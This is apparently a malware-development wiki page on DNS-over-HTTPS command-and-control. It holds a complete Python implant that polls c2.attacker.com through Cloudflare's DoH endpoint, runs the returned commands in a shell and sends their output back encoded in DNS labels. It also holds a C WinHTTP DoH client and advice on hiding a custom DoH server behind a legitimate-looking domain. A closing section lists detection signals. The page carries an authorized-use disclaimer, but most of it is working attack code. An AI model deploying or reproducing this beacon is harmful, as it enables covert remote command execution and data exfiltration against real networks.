Skip to content
λmaldev wiki/
pagesDNS-over-HTTPS C2
T1071.004WindowsLinuxmacOSPythonC / C++HTTPSDNS

DNS-over-HTTPS C2

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

DNS-over-HTTPS (DoH) was designed to improve user privacy by encrypting DNS lookups — instead of sending a plaintext UDP query to the local resolver, the client sends an HTTPS POST to a DoH endpoint (e.g., https://1.1.1.1/dns-query). The DNS query travels inside TLS and is indistinguishable from regular HTTPS traffic to a passive network observer.

This creates an evasion opportunity: traditional DNS beaconing is visible in corporate DNS logs and NGFW DNS inspection. DoH bypasses both — the corporate DNS resolver never sees the query, and the TLS encryption hides the subdomain labels from deep-packet inspection. The attacker’s authoritative nameserver still receives the query, but the path from the implant to the resolver is opaque.

The payload encoding is identical to standard DNS beaconing: data → base32 → subdomain labels of c2.attacker.com → query wrapped in DoH POST.

Note.

Most corporate environments route all outbound traffic through a proxy or firewall that performs TLS inspection. In these environments, DoH to known provider IPs (1.1.1.1, 8.8.8.8) will be decrypted at the proxy, and the Content-Type application/dns-message header will expose the DoH traffic. Using a custom DoH server on an innocent-looking HTTPS domain is more evasive in proxy-inspected environments.

The call chain

  1. 1
    select a DoH provider
    Hard-code Cloudflare (1.1.1.1), Google (8.8.8.8), or Quad9 DoH endpoints; or host a custom DoH server on a CDN.
  2. 2
    encode payload in subdomain labels
    Base32-encode the C2 data as subdomain labels of an attacker-controlled domain (same encoding as DNS beaconing).
  3. 3
    POST https://1.1.1.1/dns-query with application/dns-message content-type
    The DoH request is a standard HTTPS POST to the provider's endpoint with a DNS wire-format body.
  4. 4
    DoH provider forwards the query to the attacker's authoritative NS
    The DoH resolver resolves the query over encrypted DNS; the attacker's NS receives it and returns data in the answer.
  5. 5
    decode response record
    Extract C2 data from the TXT or A record in the DNS response body.

Reference implementation

DoH query using Cloudflare (Python implant)

doh_beacon.pyPython
import base64, struct, requests, time, random, os

C2_DOMAIN  = "c2.attacker.com"
DOH_URL    = "https://1.1.1.1/dns-query"  # Cloudflare DoH
CHUNK_SIZE = 30  # bytes per subdomain label after base32

def b32_encode_chunk(data):
  return base64.b32encode(data).decode().lower().rstrip('=')

def build_dns_query(fqdn):
  """Build a DNS wire-format TXT query for fqdn."""
  # Transaction ID: 2 bytes random
  txid = os.urandom(2)

  # Flags: standard query, recursion desired
  flags = b'\x01\x00'

  # Counts: 1 question, 0 answers, 0 authority, 0 additional
  counts = b'\x00\x01\x00\x00\x00\x00\x00\x00'

  # QNAME: length-prefixed labels
  labels = b''
  for label in fqdn.split('.'):
      enc = label.encode()
      labels += bytes([len(enc)]) + enc
  labels += b'\x00'  # root label

  # QTYPE=TXT(16) QCLASS=IN(1)
  qtype_class = b'\x00\x10\x00\x01'

  return txid + flags + counts + labels + qtype_class

def doh_send_chunk(seq, chunk_bytes):
  """Send one chunk of data as a DoH DNS query."""
  label = b32_encode_chunk(chunk_bytes)
  fqdn  = f"{seq:04x}.{label}.{C2_DOMAIN}"

  query = build_dns_query(fqdn)
  b64q  = base64.b64encode(query).decode().rstrip('=')

  # GET form (simpler; POST is more reliable for large queries)
  resp = requests.get(DOH_URL,
      params={"dns": b64q, "ct": "application/dns-json"},
      headers={"Accept": "application/dns-json"},
      timeout=10,
      verify=True)
  return resp.status_code == 200

def doh_recv_task(beacon_id):
  """Poll for a task via DoH TXT query."""
  fqdn  = f"r.{beacon_id}.{C2_DOMAIN}"
  query = build_dns_query(fqdn)
  b64q  = base64.b64encode(query).decode().rstrip('=')

  resp = requests.get(DOH_URL,
      params={"dns": b64q, "ct": "application/dns-json"},
      headers={"Accept": "application/dns-json"},
      timeout=10)

  if resp.status_code == 200:
      data = resp.json()
      for answer in data.get("Answer", []):
          if answer.get("type") == 16:  # TXT
              return base64.b64decode(answer["data"].strip('"'))
  return None

def beacon_loop():
  beacon_id = os.urandom(4).hex()
  while True:
      task = doh_recv_task(beacon_id)
      if task and task != b"NOP":
          # Execute task and send result back
          import subprocess
          result = subprocess.run(task.decode(), shell=True,
              capture_output=True, timeout=30).stdout
          for i in range(0, len(result), CHUNK_SIZE):
              doh_send_chunk(i // CHUNK_SIZE, result[i:i+CHUNK_SIZE])

      # Jitter: sleep 30-90 seconds
      time.sleep(30 + random.randint(0, 60))

beacon_loop()

WinHTTP DoH client (C, Windows implant)

doh_winhttp.cC
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

// Send a DNS wire-format query to Cloudflare DoH via HTTPS POST
// Returns the response body length, or 0 on failure
DWORD doh_query(const BYTE *dns_wire, DWORD wire_len, BYTE *response, DWORD resp_max) {
  HINTERNET session = WinHttpOpen(L"Mozilla/5.0",
      WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);

  HINTERNET conn = WinHttpConnect(session, L"1.1.1.1",
      INTERNET_DEFAULT_HTTPS_PORT, 0);

  HINTERNET req = WinHttpOpenRequest(conn, L"POST", L"/dns-query",
      NULL, WINHTTP_NO_REFERER,
      WINHTTP_DEFAULT_ACCEPT_TYPES,
      WINHTTP_FLAG_SECURE);

  // Set Content-Type to application/dns-message
  WinHttpAddRequestHeaders(req,
      L"Content-Type: application/dns-message",
      (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);

  WinHttpAddRequestHeaders(req,
      L"Accept: application/dns-message",
      (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);

  BOOL ok = WinHttpSendRequest(req, NULL, 0,
      (PVOID)dns_wire, wire_len, wire_len, 0);
  if (!ok) goto cleanup;

  WinHttpReceiveResponse(req, NULL);

  DWORD total = 0, read = 0;
  while (WinHttpReadData(req, response + total,
                         resp_max - total, &read) && read) {
      total += read;
  }

  WinHttpCloseHandle(req);
  WinHttpCloseHandle(conn);
  WinHttpCloseHandle(session);
  return total;

cleanup:
  WinHttpCloseHandle(req);
  WinHttpCloseHandle(conn);
  WinHttpCloseHandle(session);
  return 0;
}

DoH vs standard DNS beaconing comparison

Property Standard DNS beaconing DoH beaconing
Visible in DNS logs Yes No (bypasses corporate resolver)
DPI/NGFW visible Yes (plaintext UDP) Only with TLS inspection
Content-Type fingerprint N/A application/dns-message (detectable)
Blocked by DNS sinkholes Yes No
Latency overhead Low Higher (TLS handshake per request)
Traffic volume Low (UDP) Higher (HTTPS overhead)
Corporate proxy bypass No Depends on proxy config

Custom DoH server (avoid known-bad IPs)

Rather than using Cloudflare (1.1.1.1) or Google (8.8.8.8) as the DoH resolver — both of which are commonly monitored or blocked in corporate environments — host a custom DoH server:

  1. Register a legitimate-looking domain (e.g., dns.corp-helper.com)
  2. Deploy a DoH server (dnsdist, CoreDNS with DoH plugin, or a custom HTTPS server)
  3. Hard-code the custom DoH URL in the implant

The traffic now goes to an unknown HTTPS host rather than a known DoH provider IP, defeating blocklists and reducing IoC matching.

Detection

NETWORK
HTTPS connections to known DoH provider IPs (1.1.1.1, 8.8.8.8, 9.9.9.9) from processes that are not browsers or system resolvers.
NETWORK
High volume of HTTPS POSTs to /dns-query with Content-Type application/dns-message — DoH is distinguishable from regular HTTPS by its endpoint and content type.
PROXY LOG
Endpoint bypassing the corporate DNS resolver entirely and making direct HTTPS connections to DoH endpoints.
BEHAVIOURAL
Non-browser process that connects to Cloudflare, Google, or Quad9 DoH IPs with fixed interval traffic.

The most practical detection is identifying endpoints that bypass the corporate DNS resolver entirely. In a managed environment, all DNS traffic should flow through the corporate resolver; direct HTTPS connections to port 443 on 1.1.1.1, 8.8.8.8, or 9.9.9.9 from non-browser processes are anomalous. Firewall rules blocking outbound 443 to these specific IPs force the implant to use the corporate DNS, where beaconing is visible.

Was this page useful?edit this page ↗